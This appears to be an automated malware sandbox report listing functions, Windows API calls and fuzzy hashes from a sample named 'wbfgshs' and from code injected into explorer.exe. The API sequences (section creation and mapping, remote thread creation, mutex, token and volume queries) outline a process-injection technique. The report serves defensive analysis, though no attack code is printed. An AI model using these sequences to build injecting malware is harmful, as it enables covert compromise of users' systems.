Opcode ID: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction ID: fc5b78c680b8286d3274c8e00a07434fdd127a2e85cfd6d7b73776b31c48d4d8
Opcode Fuzzy Hash: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction Fuzzy Hash: 3B418034714F2CCFEB64EB38805C7AAB2D2EF98317F104A2E805EC6644CF74A6429742

Function 00B21E1C Relevance: 3.1, APIs: 2, Instructions: 121
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B24D20: GetVolumeInformationA.KERNEL32 ref: 00B24D8D

CreateMutexExA.KERNEL32 ref: 00B21E8F
CreateFileMappingA.KERNEL32 ref: 00B21F41

Memory Dump Source

Source File: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Offset: 00B21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b21000_explorer.jbxd

Yara matches

Similarity

API ID: Create$FileInformationMappingMutexVolume
String ID:
API String ID: 3260430491-0
Opcode ID: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction ID: a6c446e508715a6ab5dfafe036cd2927b31cf83d9f75a3c6b7f5db03512ac628
Opcode Fuzzy Hash: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction Fuzzy Hash: 84419030B14F188FEB64EF3890597AE72D2EBA8306F104A6E905FC6245CF749A029745

Function 08824AD0 Relevance: 3.1, APIs: 2, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE ref: 08824B24
GetTokenInformation.KERNELBASE ref: 08824B5B

Memory Dump Source

Source File: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 37b38c91b308edf2e4bebcb754188a08756fa8f3a9c0e1e81f7644c00244d549
Instruction ID: abcfe3b815512156517c8dcc7ddbbf627d8e37e23ee46f9ba4c5b2276c19363e
Opcode Fuzzy Hash: 37b38c91b308edf2e4bebcb754188a08756fa8f3a9c0e1e81f7644c00244d549
Instruction Fuzzy Hash: AD213E34608A188FC754EB2CC49866AB7E1FB99311B044A6EA49AC7364DA30D845DB82

Function 00B24AD0 Relevance: 3.1, APIs: 2, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE ref: 00B24B24
GetTokenInformation.KERNELBASE ref: 00B24B5B

Memory Dump Source

Source File: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Offset: 00B21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b21000_explorer.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 37b38c91b308edf2e4bebcb754188a08756fa8f3a9c0e1e81f7644c00244d549
Instruction ID: f686ac0c87df2318d99b5038034dafb5bc92d1783e6b31d81d823f7563b1026b
Opcode Fuzzy Hash: 37b38c91b308edf2e4bebcb754188a08756fa8f3a9c0e1e81f7644c00244d549
Instruction Fuzzy Hash: 4E213E30608A188FC754EB28D49866AB7E1FB99311B044A6EA49EC7264DB30D845DB82

Function 08823C84 Relevance: 3.1, APIs: 2, Instructions: 72
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 08823CA6
SleepEx.KERNEL32 ref: 08823D28

Memory Dump Source

Source File: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: CreateSleepSnapshotToolhelp32
String ID:
API String ID: 684154974-0
Opcode ID: d87648c068091f5a601a251f696ac908138681014b07281b27555691989c57a1
Instruction ID: 993ab06092f0f82af6aac198d05f27c91309f96db6f51445535df99c700cf7d7
Opcode Fuzzy Hash: d87648c068091f5a601a251f696ac908138681014b07281b27555691989c57a1
Instruction Fuzzy Hash: 5621B730118A19CFDB14EF64C0987AA72D2FB88316F14077ED84FDE295DB3885858711

Function 08823D60 Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumWindows.USER32 ref: 08823D7C
SleepEx.KERNEL32 ref: 08823D87

Memory Dump Source

Source File: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: EnumSleepWindows
String ID:
API String ID: 498413330-0
Opcode ID: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction ID: 89ae56aaee867e25cb7b3c9fab380dc06f1c911f054767da0e26bf57f014ff8a
Opcode Fuzzy Hash: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction Fuzzy Hash: 84E04F30514A09DFEB28ABA4C0DCBB032A1EB18206F14017EDC0EDD696CB7A4985C720

Function 00B23D60 Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumWindows.USER32 ref: 00B23D7C
SleepEx.KERNEL32 ref: 00B23D87

Memory Dump Source

Source File: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Offset: 00B21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b21000_explorer.jbxd

Yara matches

Similarity

API ID: EnumSleepWindows
String ID:
API String ID: 498413330-0
Opcode ID: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction ID: aa404ffd951bc0a08d74d2d8c412e3e5b18333feb4eb4cfd17dfb47e17d00fe4
Opcode Fuzzy Hash: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction Fuzzy Hash: 23E04F30514A098FEB28AFA4C0DCBB032E1EB18346F1401BADC1EDD295CB7A4945C720

Function 00B2400C Relevance: 1.9, APIs: 1, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Offset: 00B21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b21000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4a96c0002796f4483eb6bc6feb746ec78d293e7f1134298137c4194076fbbcd
Instruction ID: 2477341f9ced0c3b41abc705c318f91db389dfef92b3314833f1b80210f778fe
Opcode Fuzzy Hash: e4a96c0002796f4483eb6bc6feb746ec78d293e7f1134298137c4194076fbbcd
Instruction Fuzzy Hash: 99D18030718F198BDB64EB68E4466AEB7E2FB98701F10456DE44EC3241DF74E8468B86

Function 08823678 Relevance: 1.9, APIs: 1, Instructions: 404comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE ref: 088236C5

Memory Dump Source

Source File: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: b35aeaa2dabb4e76190c9dece0e8e20c87b044d0080395537af34a5cdc12a271
Instruction ID: 0707bdc830b12f5c0f99c526670df8a16a17571448f7e2e7eb1be34744a313ea
Opcode Fuzzy Hash: b35aeaa2dabb4e76190c9dece0e8e20c87b044d0080395537af34a5cdc12a271
Instruction Fuzzy Hash: F1E11934608A4CCFCB94EF28C895EA9B7F1FFA9305F114699E44ACB265DB30E944CB41

Function 08821F94 Relevance: 1.7, APIs: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 08822115

Memory Dump Source

Source File: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 11cbd7d4e9e3daf7bdfec7693b32ce184b43af76b4895d117b786d6ffa4ff202
Instruction ID: 5123bc50a819d9d6e47c0428887ac05683df0c895dedacdb8369dd701fc6768e
Opcode Fuzzy Hash: 11cbd7d4e9e3daf7bdfec7693b32ce184b43af76b4895d117b786d6ffa4ff202
Instruction Fuzzy Hash: D0415E30718A6C8FDBA8AF6C945836E75D2EBCC312F54417EA80EC3385DE749D468786

Function 0882337C Relevance: 1.7, APIs: 1, Instructions: 157fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 088233C2

Memory Dump Source

Source File: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction ID: 666f7bfa8f58ce91f9a9fa5d13d18854100f29600b97668d912d1b94623964fd
Opcode Fuzzy Hash: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction Fuzzy Hash: 6841D63071CF1D9FD79CEA6C945937AB2C2FB99222F14026E989BC3355DE649C5243C2

Function 00B2337C Relevance: 1.7, APIs: 1, Instructions: 157fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00B233C2

Memory Dump Source

Source File: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Offset: 00B21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b21000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction ID: 9ab5c897b0289e7aa7c49c865395856a86c48b2c300163312993f97361850f30
Opcode Fuzzy Hash: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction Fuzzy Hash: F541B33071CE1D4FD758EA6CA45937AB2C2EB88711F1402AEA4AFC3345DE789C0643C2

Function 08824E90 Relevance: 1.6, APIs: 1, Instructions: 122registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32 ref: 08824F15

Memory Dump Source

Source File: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction ID: b119464cc8ce8d09548e2add4e1b5713d85048ea9e5e6e6ce1386a962098fc38
Opcode Fuzzy Hash: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction Fuzzy Hash: 6231C635608A2CCFDB18EF6CD8896E977D1FB98315B00027EE84AC3645EE7098468791

Function 08824D20 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNEL32 ref: 08824D8D

Memory Dump Source

Source File: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: f6d21cd985884bbd1fecacc52d91767e00694267905ea377f3a61296193c8c2d
Instruction ID: 22c2df712bf42758e1f4e0813b60825b8f75e4a4a2523d4119c9f6f7de2eee70
Opcode Fuzzy Hash: f6d21cd985884bbd1fecacc52d91767e00694267905ea377f3a61296193c8c2d
Instruction Fuzzy Hash: E8313531618A4C8FDBA4EF68C448BAA77E1FBD8311F10466E984EC7364DE70D945CB82

Function 00B24D20 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNEL32 ref: 00B24D8D

Memory Dump Source

Source File: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Offset: 00B21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b21000_explorer.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: f6d21cd985884bbd1fecacc52d91767e00694267905ea377f3a61296193c8c2d
Instruction ID: 5abd490d28174bbf70985e413e22215cfa155ea5d0a01e0f420b6b8190042fac
Opcode Fuzzy Hash: f6d21cd985884bbd1fecacc52d91767e00694267905ea377f3a61296193c8c2d
Instruction Fuzzy Hash: EA318530618E4C8FDB64EF28D449BAA77E1FBD8311F10466EA84EC7265DE30D945CB82

Function 08821A10 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 08821A60: RtlCreateHeap.NTDLL ref: 08821B77

SleepEx.KERNEL32(?,?,?,?,?,?,?,08821A03), ref: 08821A30

Memory Dump Source

Source File: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: CreateHeapSleep
String ID:
API String ID: 221814145-0
Opcode ID: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction ID: f58d40a635bcf64fdd621f1a0efc4b92107d1465929bdd3aaeec5e20bd365764
Opcode Fuzzy Hash: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction Fuzzy Hash: D4E04828714A1CCBDB98BB7C95C832CB190D7C8252F6015BEA51FC6285D925D9C14312

Function 00B21A10 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00B21A60: RtlCreateHeap.NTDLL ref: 00B21B77

SleepEx.KERNEL32(?,?,?,?,?,?,?,00B21A03), ref: 00B21A30

Memory Dump Source

Source File: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Offset: 00B21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b21000_explorer.jbxd

Yara matches

Similarity

API ID: CreateHeapSleep
String ID:
API String ID: 221814145-0
Opcode ID: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction ID: f5d6e97db72c993250304dd11f687539f2ecc558385b1612ce92a374ccf2815f
Opcode Fuzzy Hash: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction Fuzzy Hash: E3E04F20715A1C5BDBA8BBBCB4C532C61D0DBE9350F901DF9792ECA286E825CD818312

Analysis Process: wbfgshsPID: 6024, Parent PID: 1040COMMON

Execution Graph

Execution Coverage:	8.1%
Dynamic/Decrypted Code Coverage:	19.9%
Signature Coverage:	0%
Total number of Nodes:	156
Total number of Limit Nodes:	6

Executed Functions

Function 00418A70 Relevance: 54.6, APIs: 29, Strings: 2, Instructions: 321
filewindowlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00418B8B
GetFocus.USER32 ref: 00418B91
ReadConsoleA.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00418B9E
FindAtomA.KERNEL32(00000000), ref: 00418BA5
SearchPathA.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418BBD
SetConsoleMode.KERNEL32(00000000,00000000), ref: 00418BC5
SearchPathW.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418BDD
GetDefaultCommConfigA.KERNEL32(00000000,?,00000000), ref: 00418C04
CopyFileExW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00418C10
CreatePipe.KERNEL32(?,00000000,00000000,00000000), ref: 00418C26
GetEnvironmentStringsW.KERNEL32 ref: 00418C2C
WriteConsoleOutputA.KERNEL32(00000000,?,?,?,?), ref: 00418C71
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 00418C80
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 00418C89
ObjectPrivilegeAuditAlarmW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00418C9E
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00418CAF
SetCommState.KERNELBASE(00000000,00000000), ref: 00418CD8
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00418D09
GetComputerNameA.KERNEL32(?,?), ref: 00418D1D
CopyFileW.KERNEL32(0041A3AC,0041A380,00000000), ref: 00418D2E
GetFileAttributesA.KERNEL32(00000000), ref: 00418D35
GetConsoleAliasExesLengthW.KERNEL32 ref: 00418D3B
GetBinaryType.KERNEL32(0041A3C8,?), ref: 00418D4D
FormatMessageA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00418D60
GetLongPathNameA.KERNEL32(0041A3E4,?,00000000), ref: 00418D73
PurgeComm.KERNEL32(00000000,00000000), ref: 00418D7B
LoadLibraryA.KERNELBASE(0041A3EC), ref: 00418DF2
MoveFileW.KERNEL32(00000000,00000000), ref: 00418E27
InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00418E4E

Strings

}$, xrefs: 00418E55
k`, xrefs: 00418E2D

Memory Dump Source

Source File: 0000000A.00000002.1937112624.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_40b000_wbfgshs.jbxd

Similarity

API ID: ConsoleFile$CommNamePath$CompareCopyExchangeInterlockedLengthObjectSearch$AdjustmentAlarmAliasAliasesAtomAttributesAuditBinaryComputerConfigCreateDefaultEnvironmentExesFindFocusFormatLibraryLoadLongMessageModeModuleMoveOutputPipePrivilegePurgeReadSingleStateStringsSystemTimeTypeWaitWrite
String ID: k`$}$
API String ID: 2220722107-956986773
Opcode ID: 27396c0720b35830d8978bde3fab0e4ce9b55130db9d37ea9e37c6b107803055
Instruction ID: 0c0e40555d578e92a9f225f047ccd42c64e3c90cdaccad76b264c498dc6ec0a1
Opcode Fuzzy Hash: 27396c0720b35830d8978bde3fab0e4ce9b55130db9d37ea9e37c6b107803055
Instruction Fuzzy Hash: 9FB1A0B1901224ABCB219B65EC58EDF7B78EF49350F00816EF649A3150DB785EC4CFA9

Function 004014DB Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 243
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634

Strings

1, xrefs: 004014F1

Memory Dump Source

Source File: 0000000A.00000002.1937090431.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_wbfgshs.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID: 1
API String ID: 1652636561-2212294583
Opcode ID: a3d0a89ba2f0946d3c73b933561f00ce793550d5be3e53aacc3d784ec313288b
Instruction ID: 7f4d7c4657737381e02ab4131f106e217a3bc84f51a1891dc43a423f49ad99c1
Opcode Fuzzy Hash: a3d0a89ba2f0946d3c73b933561f00ce793550d5be3e53aacc3d784ec313288b
Instruction Fuzzy Hash: 14718D71A00205FFEB209F91CC49FEF7BB8EF85B10F14412AF912BA2E5D6759905CA58

Function 00401529 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 0000000A.00000002.1937090431.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_wbfgshs.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9208168e61d895202d66972dbe02163783dcb6df2364333cde88f6d05e7d9971
Instruction ID: 138ec7ca1e8744eb65f40bd9736a53a73cefe8eecd72c79945fcbf62a21b6401
Opcode Fuzzy Hash: 9208168e61d895202d66972dbe02163783dcb6df2364333cde88f6d05e7d9971
Instruction Fuzzy Hash: D9616E71900205FBEB209F95DC49FEB7BB8FF81B00F14412AFA12BA1E4D6749A05DB65

Function 00401534 Relevance: 10.7, APIs: 7, Instructions: 177
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 0000000A.00000002.1937090431.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_wbfgshs.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bf712b81fe7c33e45fb91e121ae8a1411471c4f54e6f2b27f252d32f249b509c
Instruction ID: 46ca3ae5353e1b2bf85c7e7487c0bf4a09c0837efea8bedcf4105f5ea6450319
Opcode Fuzzy Hash: bf712b81fe7c33e45fb91e121ae8a1411471c4f54e6f2b27f252d32f249b509c
Instruction Fuzzy Hash: 81512971900245BFEF209F91CC48FEB7BB8EF85B00F14416AF912BA1A5D6749945CB24

Function 00401541 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 0000000A.00000002.1937090431.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_wbfgshs.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: fdd984ed4eabfdf3fe245d48b6addcc777c2a155290e4dc39758af1e8cc42314
Instruction ID: 68c08b8250816e380b35483fe5a52fcf5a4ffa7bf922b91d474b11e8be87ed95
Opcode Fuzzy Hash: fdd984ed4eabfdf3fe245d48b6addcc777c2a155290e4dc39758af1e8cc42314
Instruction Fuzzy Hash: 99512AB1900205BFEF209F95CC48FEB7BB8EF85B10F14412AFA12BA1E5D6749945CB24

Function 00401545 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 0000000A.00000002.1937090431.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_wbfgshs.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9036e7d1caaa2f73f8ffe8f81ed6686f8338ecb8473fc941f507ff01140d436f
Instruction ID: b5c9534ba5f5358dff2a074a80b826bd55324152c05987841a878028393b6fdb
Opcode Fuzzy Hash: 9036e7d1caaa2f73f8ffe8f81ed6686f8338ecb8473fc941f507ff01140d436f
Instruction Fuzzy Hash: 94513AB1900245BFEF209F95CC48FEF7BB8EF85B00F14415AF911BA2A5D6749945CB24

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 0000000A.00000002.1937090431.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_wbfgshs.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7e7aa486a7cba38a24c4655809e077ce32b0d632fdebb8ad14eb01bbdf3cd026
Instruction ID: 8d6641cc39e0a23de402a6cd7af9a8bcce9404ceaedab19c941a5a8b34b5f284
Opcode Fuzzy Hash: 7e7aa486a7cba38a24c4655809e077ce32b0d632fdebb8ad14eb01bbdf3cd026
Instruction Fuzzy Hash: 8C5119B1900205BFEF209F95CC48FEFBBB8EF85B00F14411AFA11AA2A5D6759945CB24

Function 00402FFA Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403122
NtTerminateProcess.NTDLL ref: 00403133

Memory Dump Source

Source File: 0000000A.00000002.1937090431.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_wbfgshs.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
